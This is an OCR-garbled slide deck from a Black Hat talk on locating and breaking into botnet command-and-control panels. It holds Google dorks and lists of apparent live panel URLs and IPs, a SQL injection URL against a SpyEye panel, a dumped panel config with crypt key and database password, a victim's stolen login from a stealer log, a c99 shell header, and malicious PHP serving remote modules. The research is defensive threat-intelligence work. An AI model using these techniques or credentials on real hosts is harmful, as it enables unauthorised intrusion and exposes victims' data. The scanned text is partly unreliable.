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Disclaimer !

The opinions and views expressed in this research presentation is completely
based on my independent research and do not relate to any of my previous

or present employers.

I am not responsible for the links (URLs) presented in Figures and Listings
as part of testing analysis and do not assume any responsibility for the
accuracy or functioning of these at the time of release of this paper. These
links (URLs) were live and active during testing.

The research presented in this presentation should only be used for educational
purposes. Please also check the updated version of this presentation after the conference.

The released version of the research paper is Version 1.1 !

Fetch it from BlackHat Archives or
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What This Talk is All About ?

Learning about the different insights gathered from real-time
testing of C&C panels

Understanding the facts and C&C design of botnet families
— Zeus/ ICE 1X/ Citadel / BetaBot etc.

Busting several myths about C&C architecture and deployments

Learning what methods to follow when direct exploitation is not
possible

Utilizing multiple vulnerabilities to attack C&C panels
Gathering information using weak C&C configurations

Building C&C intelligence for Incident Response and automated
solutions
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Rationale !

Why to Break when we can Bypass !

leck hat



C&C Panels Overview

Web-based software components for managing bots around the
Internet

Centralized place for communicating with bots and sending
updates

Majority of the C&C panels are authored in PHP and MySQL
— Hosted on Apache / Nginx and LAMPP (XAMPP) servers

C&C panel is architected using modular components that are
Interdependent on each other

— Failing one component can impact the working of other component

bl.gc’:k hat 6



C&C Components Protection

= Design Protections
— (Gates
— Cryptographic Key
— Login Web Page Key
= Generic C&C Components
e Note: naming convention and components changes with design

Component Overview

gate.php preventing direct access to main control panel
cp.php managing bots and exfiltrated data (control panel)
Index.php restricting directory listing through default code
config.php configuring settings for bots and C&C panel itself

install/ installation component (tables, databases, reports and others)

fsarch.php archiving files

le:k hat /



C&C Gates

= \What are Gates ?

— Intermediate web components that perform verification on the incoming
requests sent by the bots
e Verification of bots identity
e Authorization and allocation of access rights
— Different from login or administrative panels
— Gates can be treated as proxies
e C&C prefers to communicate with bots through gates

N~
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Protecting C&C Resources

» ICE 1X shows following message in one of its directory:

6 mysteryforex.com/modules/mod_ebuka/web/redirect/readme.txd

ze ZEND or ICH Cube to protect file and hide path to real server with admin panel.

= ZEND Framework Authentication E

— Zend_Session = Built-in session management functionality using
namespace objects

— Zend_Acl - Lightweight access control privileges

= jonCube I ionCube

— PHP encoder to encode the PHP source code and file paths
— jonCube loader manages the runtime execution of PHP code

blg’ck hat



C&C Attack Models

= Reversing malware to extract cryptographic keys and file

— Key provides read/write operation capabilities on the C&C panel (including
components)

Obtaining backdoor access to hosting servers

Finding design and deployment flaws including vulnerabilities
— Performing source code analysis on the downloaded C&C panel

= Note: Read Whitepaper for complete details !

bl.gc’:k hat 10



Google Dorks — Botnet C&Cs

= Potential Dorks
— Dorks are based on the default design of the botnet family
e Design such as naming convention can be changed by the bot herder

— A number of C&C panels have been exposed using these dorks
e \Worth giving a TRY ! Test more and build more dorks !

Botnet Family Potential Google Dorks

Zeus inurl: “cp.php?m=login” | inurl: “cp.php?letter=login”

ICE 1X inurl: “adm/index.php?m=login”

Citadel inurl: “cp.php?m=login”

BetaBot murl: “login.php" intext: “myNews Content Manager”
IStealer inurl: “index.php?action=logs” intitle:’login”

SpyEye inurl: “frmcp/”

le:k hat 11



Google Dorks — Botnet C&Cs

= Example : Citadel and Zeus

o fmy_tools/cc_tools
$ python gdro.py inurl:"cp.php?m=login"” 180
DETECTED COMMAND AND CONTROL PANELS USING GOOGLE DORKS

[*] ok, results collected, cleaning the cached links or inactive links
*] total number of potenmtial CE&C links detected are 25
*] generating direct C&C 1links with access codes

t
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[login] http://woo-wei.com.tw/yoyo/cp.php?m=1login (288) (LiteSpeed)

[login - Roersma Bestratingen] http://roersmabestratingen.nl/apatechinc/cp.php?m=1login (208) (Apache)

[login - Grupo Prosur] http://grupoprosur.com/zeta/cp.php?m=login (464) (Apache)

[login - Specific Randomness] http://specificrandomness. com/tmp/serv/cp.php?m=login (200) (Apache/2.2.23 |
mod_auth_passthrough/2.1 mod bwlimited/1.4 FrontPage/5.8.2.263

[login - Data recovery Oxford] http://datarecoveryoxfordshir

[login - Viva Hammer] http://vivahamn com/wp-load/server/
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co.uk/hd/cp.php?m=login (2680) (Apache)

p.php?m=1login (484) {Apache)
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+] Title [login - Indongsang.com] fcp.php?m=login (208) (Apache)
+] Title [login - Bandamas Republic] ic.com/bin/cgi/server/cp.php?m=login (20a) (Apache)
N i S

[login - Grupo LZ] http://grupolz.com.br/css/cp.php?m=login (288) (Microsoft-II5/6.0)

[login - Hepsibir Bilisim] http://hepsibirbilisim.com/referans/hbb/cp.php?m=1login (464 (Microsoft-II5/6
[login - Casa do Atirador] http://casado com.br/images/cp.php?m=login (484) (Microsoft-II5/6.0)
[login - lawaco] http://lawaco.com.vn/hh/cp.php?m=1ogin (424) (Microsoft-IIS/6.8)

[login] http://78.142.63.63/~buymetld/GenerAL/Sh@px/cp.php?m=1login (208) (Apac
[login - Relux Music] http://reluxmusic.com/wp/cp.php?m=1ogin (4@84) (Apache)

[login - Spectracity.com] http://spectracity.com/zu/cp.php?m=login (4@4) (Apache)
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Google Dorks — Botnet C&Cs

= Example : Finding C&C Gates

AND CONTROL PAMNELS
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Network Traffic Analysis (1)

= Detecting network traffic to gates
— Analyzing communication channels used for data exfiltration

POST fpanel/gate.th HTTP/1.1

Content-Type: application/x-www-form-urlencoded
HOST: www.raozat.com

Content-Length: 262

Expect: 100-continue

Connection: Keep-Alive

crypt=gQHanl2ckSwarpyNtglTCRKTBNT1KE6hORWA j L ZACQQACM1YTORBCIGASVQNE IKFWARBiIMpOEVOUMCVNEIpPIF
KsVGduTkKg4 SKx4SM2BSTEROVGOCIu9Wa0FmCcVvBNCVYNEIOZ2bz9mc j IWTOACM3MDIYZEIVIHZhVXUGEUSE Tkvopib
plGzBpSQv4kK2gbDegcDIzd3bk SwaxpSNwIwMwgjNOMmMZ4AZMZgzMZYWZO0YZYkh] YOMWNK IWZmRmYWIDM1 1 TOHTTP/
1.1 200 oK

Date: Tue, 18 Feb 2014 19:59:27 GMT

Server: LiteSpeed

Connection: close

X-Powered-By: PHP/5.3.28

content-Type: text/html

Content-Length: 420

==AfQMFRBVKUIRFIO1CIOM jMxoDdkRNL152bONXYu9mag8uLgMmzMmzmjovZmbp5ibpFGajv2Z vRmLXOWdOFmcON3LY
oDcjR3KtVHdhIHdzBybtACdwIncjNHIh1i1KgQwyvxmb39GzZ /

I2bsI2LwB8SMFNXZH1TWS58yc1xwam9sMvkGch9Cd055Zn9yL 6AHdONGIOIXYONNLYVmMbplGFgMXZ 5ByZTACNZITMQA
XLQUHCN55Zu9GdzFmbvpGI11CISMzMZoTbvNmMLYVGAdZFmZONXY055ZN9GZuOwdOFmcON3LvoDC jR3KtVHdhIHdZBY
btACdwIncjNHIh1liKgQwYvxmb39GzZ /
I2bs312Lw85MHIkUOZUS28vc T xwam9sMvkGchaCd055Zn9vL 6AHAOhGIOIXYONNL1B3ZuIXZulwbl

Data exfiltration to Gates — Plasma Bot !

blhak hat 14



Network Traffic Analysis (2)

Remember : Gates and C&C administration interface are hosted
on the same server majority of the time

- C' [ alubarika.in/gov/adminpanel/gate.p

<— c L | aIUbarika.in gov/adminpal

Remember (MD5 cookies)

Submit

Gate component shows blank page and C&C panel
administration interface is present on the same server

blg’ck hat

15



Multiple C&C Panels — Same Server

= Possibility of only one C&C panel present on the same host on
the destination server = Not True !

= QOperations
— Analyze URL structure and associated parameters
— Detect directory patterns in the C&C URL
— Guess or Fuzz the parameters in the C&C URL

= Example
— URL structure : http://[C&C_domain]/[directory]/index.php?m=Ilogin
e http://www.example.com/storage/1/control.php?m=login
— Try:
e http://www.example.com/storage/2/control.php?m=login
e http://www.example.com/storage/3/control.php?m=Ilogin
e http://www.example.com/storage/4/control.php?m=Ilogin

blgcik hat
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Multiple C&C Panels — Server

= Detected multiple Zeus C&C panels on same host

6 e 176.99,7,78/~daiti/1 /cp. php?rm=login

- =
c | |" Google - | (— e 176.99,7,78) ~daiti/2cp. php?m=login c | |" Google )| JL

,

User name: I

Password: I

Uzer narme: I

é e 176,99,7, 78/ ~daiti)3/cp. php?m=login

"

Pazswaord: I
" Remember [MDS cookies) | [T (MD5 cookies)
Submit I Submnit |
Z | | ~ @oogle )-| 4+
€& | @ 176.99.7.78/~daiti/4)cp.php?m=login ¢|B-soge P &

User name: I

Password: I

e,

I_ REr\l—\.J—\.'—v—\.L\.J—\.v FRAME —m o~ im =

User name: I

(- e 176,99,7, 73/ ~daiti/S/cp. php?rm=login

c)[B- o0 5] &

Rerermber [(MDS cookias)

Uzer narme! I

Password: I

r Remernber (MDS cookias]

Subrmit |

Subrmit |

blgck hat
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Multiple C&C Panels — Server

= Detected multiple Winlocker C&C Panels

obession, co.uafloaderfindex. php C || I " 'ﬁ*
Tzernatme |
abession, co,ua/loader findex. php C || | ~'v ﬁ*
Passwordl

Sign In | Nﬂt Fﬂlllld

The requested TEL floader lindex php was not found on this server.

Apachel2.2 .22 {Debian) Server ab obession.co.ua Fort 80

6 = obession.co.ua)loaderzfindex. php - || | "" 'ﬁ”

TTzername |

Faszsword |

Sign In |

blg’ck hat 18



\Applications Places System [>_] d Sun Apr 27, 6:22 PM &

A v % root@BACKY: /my_tools/cc_tools
File Edit View Terminal Help

06:21:45 [root@BACKY:o0 +3] /my_tools/cc_tools

Y |

[~] [root@BACKY: /my_too... =



Confirming Base C&C Components

= Relying on the renamed C&C component and does not ensure the
present of the default one

= QOperations

e Bot herders rename the C&C component to other to avoid signatures
— Example: renaming “cp.php” = “check.php”
e Ensure that the default components are present on the server

e Testing indicates that both renamed and original files are present on the C&C
server

# python comp_check_zeus_ice_cita.py http: suwww. esherrisiore. comuwp-includes Text/Diff/

Renderer/ugophp/ zeus Exposed Components |

L I

EXPDSED C&C COMPONENTS - CHECK FOR 200 CODE
[] ————————————————— e
[-] btrp:fwuw. esherristore. com/up-includes,Text /Dif  [4]

http: /Afmww. esherristore. com/Ap-includes,Text /DM f f Renderer ugophp/cp.php - (200}
Encountered - 404 [+]

http: A, esherristore. com/wp-includes Text /Dif f Renderer/ugophp/gate.php - (200)
[-1 http:/ /wuw. esherristore. com/up-includes Text Diff/Renderer/ugophp/config.bin - HITP
Error Encountered - 404
[+] http: ./ wuw. esherristore. com/wp-includes /Text/Diff/Renderersugophp/install - (200)
P T Il Jophp
[+] http://mw. esherristore. com/wp-includes, Tert /Diff/Renderer/ugophp/theme - (200)

biSakhat 20



Installation Component Check

= [Installation component is exposed on several botnets
— Vulnerable C&C Panels — Zeus / ICE 1X / Citadel

python zeus_ice_cita_installer_checker.py http://sayno2gaymarriage.biz/wordpress/wp-includes

/fozpp <td align="left" class="success">&#8226; [2] - Updating table <b>’botnet_webinjects_history
O~ La.
[+] target : (http://sayno2gaymarriage.biz/wordpress/wp-includes/forpp/installl <td align="left" class="success">&#8226; [2] - Creating folder <b>’_reportsi3305113’</b>.</
access_code : (200) cd>

[*] install directory is exposed on the target C&C !
[-] installed C&C version : Control Panel 1.3.5.1 Installer
[*#] detected MySQL DB on the C&C panel is : saynoZ2ga_foxpp

<td align="left" class="success">&#8226; [2] - Writing config file</td>
<td align="left" class="success">&#8226; [2] - Searching for the god particle...</td>
<td align="left" class="success">&#8226; [3] - Creating folder <b>’system/data’</b>.</td>
<td align="left" class="success">&#8226; [3] - Creating folder <b>’public’</b>.</td>
[*#] extracting installer information, wait for few seconds for the POST reque: <td al%gn=”left" class="success">&#8226; [3] - Creat%ug folder <b>’f%les’</b?.$/td>

. <td align="left" class="success">&#8226; [3] - Creating folder <b>’files/webinjects’</b>.</
td>

[*] installer query resulted in following information from : http://sayno2gay:
wordpress/wp-includes/fozpp/install/index. php

Extracting report directory name and accessing it to access reports directory !

€ = C' [} sayno2gaymarriage.biz/wordpress/wp-includes/foxpp/_reports13305113/

Index of /wordpress/wp-includes/foxpp/ reports13305113

* Parent Directory
e files

Apache’2. 2.27 (Unix) mod_ssl/2.2.27 OpenSS5L/1.0. le-fips mod _bwlimited']. 4 Server at saynolgaymarriage. biz Port 80

blg’ck hat 21
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File Edit ‘“iew History Bookmarks Tools Help

I E login w

| 6 @ 42,121.195,54:5080 /webalizer fcp.php?m=login v C ' Google p v‘r ﬁ

Login

User name:

Password:

[T Remember (MDA cookies)

Submit

S €
ﬁStartl | @ login - Mozilla Firefox [ C:\WINDOWSlsystem3z. .. | @ | <« () W8 [T PO 12:24 am




Port Mapping for Similar Resources

= Relying completely on the specific port detected in the network
for C&C communication
— Verification of only TCP port 80 or 443 on the C&C for web services
— Assuming that TCP port 443 is used only for HTTPS

= Issuing the HTTP requests to same resources on different ports
— Fuzzing the same web resources on the target web server on different ports
— This technique has resulted in fruitful scenarios

bl.gc’:k hat 23



Port Mapping for Similar Resources

cc9966.com C

403 Forbidden

nginx/1.2.1
(- cc8966.com:il/cmd

+ €c9966.com/cmd

loadmodule("http://cc9966.com/clk”."clk")

Checking same resources on different ports.

A “cmd” file is downloaded by targeting
different paths and ports !

loadmodule("http://cc9966.com/clk”,"clk™)

Opening cmd

You have chosen to open:
‘:é, cmd

which is: application/octet-stream (1.6 KB)
from: http://cc9966.com:81

What should Firefox de with this file?

@ SaveFile

Do this autematically for files like this from now on.

|

0K

==

blg’ck hat
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Port Mapping for Similar Resources

<?php

faid=mysql_real escape_string($_GET["aid"]);
fid=mysgql _real_escape_string(% GET["id"]);
fos=mysql_real_escape_string($ GET["os"]);
fversion=mysql_real_escape_string($ _GET["wversion"]};
if(preg_match("/"[a-z_.\-\d]+%/1",%aid)

&&preg match(“/~[a-z_.\-\d]+%/1",%id)

f&preg match("/*[a-z_.\-\d]+%/1i",%0s)

8&preg match("/*[a-z_.\-\d]+%/1i",Fversion))

fmysql_connection=mysgql connect("localhost”,"root™,"testSes");
mysql_gquery("create database if not exists logs");
mysql_select_db("logs");
$ip=ip2long($_SERVER["REMOTE_ADDR"]);
mysql query(“create table if not exists logs (day int unsigned,date timestamp
default current_timestamp,ip bigint(11) unsigned,type_id int unsigned,type char(1g},
aid int unsigned,uid binary(16),versi <?php
index indextype_id (type_id),index ir $fc=fopen("logs/testcount™,"c+"};
mysql_guery("insert into logs (day,if flock(%fc,1);
(to_days(curdate()),"".%ip."",'8", "cn Scounter=8;
mysql close($mysql connection); $counter=fread($fc,188);
if (fcounter<laea)
1
Scounter+t;
fseek($fc,8);
echo("loadmodule(\"http://cc9966. com/ 1N, V" 1EsE\" }\n™);
file put_contents("logs/test™,"[".$counter.”][".%_SERVER[ "REMOTE_ADDR"]."]
[[”.date("d.m.y H:i:s™)."]".% SERVER["QUERY STRING"]."\n",FILE_APPEND);
fwrite($fc,$counter);
¥
fclose($fc);
if({ $ GET["aid"] == "333" )
echo("loadmodule(\"http://cc9966. com/sub\™ , \"sub\" ) \n"};
else
echo("loadmodule(\"http://cc9966. com/clk\" ,\"c1k\" ) \n");

blg.:k hat




C&C Deployment on XAMPP

Seriously ?

XAMPP is never meant to be used for production purposes
— Using it for C&C is serious mistake. But, its happening !
— Easy configuration

Serious security issues in configuration

e The MySQL administrator (root) has no password
The MySQL daemon is accessible via network
ProFTPD uses the password "lampp" for user "daemon”
PhpMyAdmin is accessible via network
Examples are accessible via network
Refer:

There are number of loopholes that can be exploited to hack back
Into servers using XAMPP

bl.gc’:k hat 26


https://www.apachefriends.org/faq_linux.html
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C&C Deployment on XAMPP

7= Frpe/42,121.195,.54 webalizer | X ‘ B - cooge L 4
Index of fip:/f42.121.195.54 fwebalizerf
_ _ Authentication Required x
R Up to higher level directe 2 x|
Name 9 Enter username and password For Frpsff42,121,195,54 last Modified
__ _reporks347 375132 Ai2014 61700 AM
User Mame: |

|_i] api,php Bi2012  12:00:00 AM
|&] 2. Password: 512012 12:00:00 AM
B o Ok Cancel 5i2014  1:35:00 AM
|%] css.php 512014 1:40:00 AM
‘f_l ckry_usage 201308, prig 3KE 4/13/2014 10:21:00 AM
‘f_l chry_usage 201309, png 3KE 4/13/2014 10:21:00 AM
‘f_l chry_usage_Z201310.png 3KE 4/13/2014 10:21:00 AM
‘f_l chry_usage_201311.png 3KE 4/13/2014 10:21:00 AM
‘f_l ckry_usage_Z01312.png 3KE 4/13/2014 10:21:00 AM
‘f_l ckry_usage_Z201401.png 3KE 4/13/2014 10:21:00 AM
‘f_l ckry_usage_201402,pnig 3KE 4/13/2014 10:21:00 AM
‘f_l ckry_usage 201403, png 3KE 4/13/2014 10:21:00 AM

ancected Fo 47 151 195 S4 3KB  4/13/2014 10:21:00 &M




C&C Deployment on XAMPP

é ftp:/f42.121,195.54 webalizersystem/config. php ||E— iaoogle y, | “5’ ﬁ‘

localhost', 'mysql user' == lampp’, ‘mysgl pass' == TEPWAVrAPppachy', 'mysgl db' == 'webalizzer', reports path' ==
" reports3d TETO152 Yreports to db'=> 1, reports to f5' == 1, 'reports_geotp' == 0, jabber’ == array ( login' == ", 'pass’ ==
"host' == 1 'port' == 5222, ), reports_n' == 0, 'reports_gn loghle' == ' reports347 370154 abberlog, reports g0 to' == ",

‘reports_jn kst == " 'reports_jn_botmasks' == " 'reports 0 masks' == array { 'wentOnhine' == " "software' == ", 'omd' == "},
reports_jn_script' ==, ‘scandyou_nd' == " 'scandyou_1d'=>", 'scandyou_token' == " 'accparse_pd'==", wnc_server' == ",
wno_notfy pd' ==" ‘reports deduplcation’ == 1, 'framer’ == array { wl' == " 'html' == "', '‘mode’ == "off, ‘hject’ == ‘smart’,
‘traverse' == array ([ 'depth’ == 3 'dir_masks' == array ( 0 == "*wwrw® | 1 == public*, 2 == "dotain™®, 3 == *host*, 4 ==
ht*docs', == "*ate™, & == "Fweb® ), e masks' == array { 0 == 'mdex.®, 1 == "* 35, 2 == *htm™* ), ), 'opt’ == array (
refframedays' == 0, ‘process_delay' == 0, ), ), 'named_preset’ == array { ), 'db-connect’ == array ( ), 'matler’ == array {
‘master_email ==", 'script wl == "), ‘allowed countries enabled == 0, 'allowed countries' == " 'botnet timeout' == 1500,
‘botnet_cryptkey' == 'EER01318260CI, ), Fconfig] botnet_cryptkey hin'] = array(42, 206, 44, 185, 223, 202, 65, 90, 137,
182, 105, 33, 18, 87, 251, 175, 127, 148, 56, 141, 225, 97, 15, 221, 120, 252, 4, 180, 229, 221, 115, 124, 22, 144, 240, 43,
66, 74, 218, B4, 76, 201, 55, 117,72, 104, 208, 102, 189, 17, 145, 224, 124, 75, 166, 219, 86, 133, 110, 145, 26, 60, 248,
40,39 88,79, 165, 7, 37,40, 28, 175, 230, 145, 212, 108, 173, 138, 32, 172, 114, 181, 254, 78, 12, 108, 68, 15, 102, 5,
44 90, 16, 232, 192, 37, 63, 236, 120, 59, 162, 192, 111, 35, 151, 251, 107, 118, 57, 226, 181, 186, 129, 103, 96, 195,
141, 252, 23, 161, 184, 60, 229, 27, 87, 171, 207, 117, 106, 136, 21, 04, 227, 127, 15, 156, 83, 81, 213, 228,77, 247, 20,
242,212, 659, 246, 253, 253, 201, 162, 126, 225, 86, 62, 168, 0, 207, 123, 16, 172, 105, 211, 57,42, 151,49, 21, 48, 220,
99 226, 168, 48, 159, 113, 208, 118, 146, 30, 165, 11, 167, 65, 192, 65, 81, 166, 153, 187, 25, 50, 136, 211, 32, 233, 205,
205,10, 83, 134, 155,45, 129, 99, 175,194, 73, 180, &8, 28, 247, 5, 134, 1, 191, 132, 57, 14, 52, 113, 216, 112, 141, 32,
239 187,64, 85, 195, 109, 232, 158, 253,70, 69, 122, 1, 244, 235, 86, 160, 204, 157, 85, 156, 184, 138, 149, 235, 196,
208, 188, 94); return Foonfig;



) login - Mozilla Firefox ]l =8 x|

File Edit ‘iew History Bookmarks Tools Help

| E‘] login w

' 6 @ 42.121.195.54:53080/webalizer fcp. php?m=login v C ' Google p ‘ ﬁ

Login

User name:

Passwaord:

[~ Remember (MD5 cookies)

~ Submit |

x €
@ start| [ @ login - Mozilla Firefox BB C:\WINDOWSisystemaz. . Z|« OWE PN 12:24am




Root Directory Verification

= Root directory of the hosting server should be analyzed
= Majority of time directory index is obtained

<« C [4107.182.14241

Index of /

Name Last modified Size Description

D serverphp/ 2014-06-20 06:54 -

Apache/2.4.7 (Win32) OpenSSL/1.0.1e PHP/5.5.9 Server at 107.182.142.41 Port 80

€« C [ 107.182.142.41/serverphp/r7

Index of /serverphp/r7

Name

3 Parent Directory
a reports

[iﬁ config bin
co.php

gate php
Cinstall

(T theme/

Last modified

12-
12-1901:10 17K
-12-

12-1901:10 -

2014-06-21 02:38

2014-06-20 06:538 34K
2013-
2013-
2013
2013-

19 01:10 55K

1901:10 -

Apache/2.4.7 (Win32) OpenSSL/1.0.1e PHP

Size Description

3.5.0 Server at 107.182.142.41 Port 80
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Vulnerability Hunting !

Detecting vulnerabilities in C&C panels
— Like hunting flaws in web applications

Example:- An earlier SQL Injection in SpyEye C&C panel !

- o o | Mtpy/l Yfemep0/fem_findrep_sub2.php?id=999955 urdon all select 0x31,comn v 9
SR Most Visited » |9 Getting Started B Latest Headlines »
[0 10gl, . <" rootiocathost:3647T80 ] %
Pleuim onlor gasvwerd b oadar

Viung passmurd

Source of: hMttp!// ooy Trmcp0/frm_findrep_sub2 phptid«-999999%20union %200l %20se et %200x3 1 concat (0xTe,

v Help

<form onsubmit='auth(): return false;'=
<label>Please, enter password: </label><imput type='password” ide'passvord’ name«'password’'> <input typee'subait’ value'Enter’'>
<div id="div_suth'>
</div>

</fore>

ascript type="text/javescript™>

¢l « document. gatllesentiyld ("password' );

3T {el) ol.focus()

</scriptr<intpl >
<headt>

| meta Mtp-equiv="Content.-Type" comtent«"text/Mtel; charset«152.8859-1°»

<titlexlogl, ~*root: lecalhost : 3647801 336044042 ~ ) </title»

< ="C3alst . faat/cas rel-stylisshsats

<script type="toxt/javascript™ src="15/21a) 18" »</script>

</head>
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Weak and Default Passwords |

= Several C&Cs are configured with weak or default passwords
= |Stealer panel accessed using weak password

Hello, admin

Show All Logs Search Export All Logs Logout

Date Ip

Program Url / Host Login Password Computer
Check other 2013-05-

DM www.steampowered.com timissteurjonas passwords of R 1 G 109.62.38.133 W
18:22:59

user

Microsoft Windows 7 4FG99-BC3HD- 2013-05-
Trillian/Yahoo - Edition Familiale 73CoT-WmrE7l- T o 109.62.38.133 B

Premium IQ6Co 18:04:43
Pages: Results 0 - 1000 of about 2 Copy Selected | | Export Selected | | Delete Selected

Page Recoueil Stealer
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Remote Management Shells !

= Search for PHP files with arbitrary names
— Possibility of finding remote management shells
— If you know the authentication key, you can upload of your own too.

€ plazamatbaa.com/.css/_reports/files/default/ERIXUNO-PC_3CFO8AEC5262EE56/zikri.ph

<?php

J,f ***********************************************************************************

* Locus7s Modified cl00 Shell

* Beta v. 1.0a - Project x2300 Inactive Shell. But active ones have been
# Written by Captain Crunch Team

* Modified by Shadow & Preddy found too !

]

Re-Modified by #!physx” (15.2.07)

* New Modifications Implemented --

* —Added link to Enumerate to escalate priviledges
* —Added Rootshell.c
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\ Applications Places System m o] [ ThuApr17, 10:59 PM

~ v X login - Mozilla Firefox

File Edit View History Bookmarks Tools Help

*qv gbsQ| @
pyBackTrack Linux [fjOffensive Security [KJExploit-DB Wy Aircrack-ng | | http://81.200.37.115... [J3SEORG.org  »

User name: | '

<;] %_1 http://lastprisoner.org/tmp/serverphp/cp.php?m=login v C"

Password: | ’

O Remember (MD5 ceokies)

| Submit |

>

“’) login - Mozilla Firefox =] root@BACKY: /my tool... [Z] root@BACKY: /my tool...



Conclusion

» To fight with malware, it is important to harness the power of

penetration testing and malware analysis including reverse
engineering

* There are no shortcuts to fight against cybercrime

Note: Do read the whitepaper released with this talk for extensive details. Materials
are available on BlackHat Archives and
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Future Work

To build more interesting attack models as this research is
ongoing

To analyze complete evolution of botnet C&C panels

To detect new C&C panels for upcoming botnets

To perform data analysis to understand security guidelines used
by the end-users and organizations
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Questions and Queries !

Niaro
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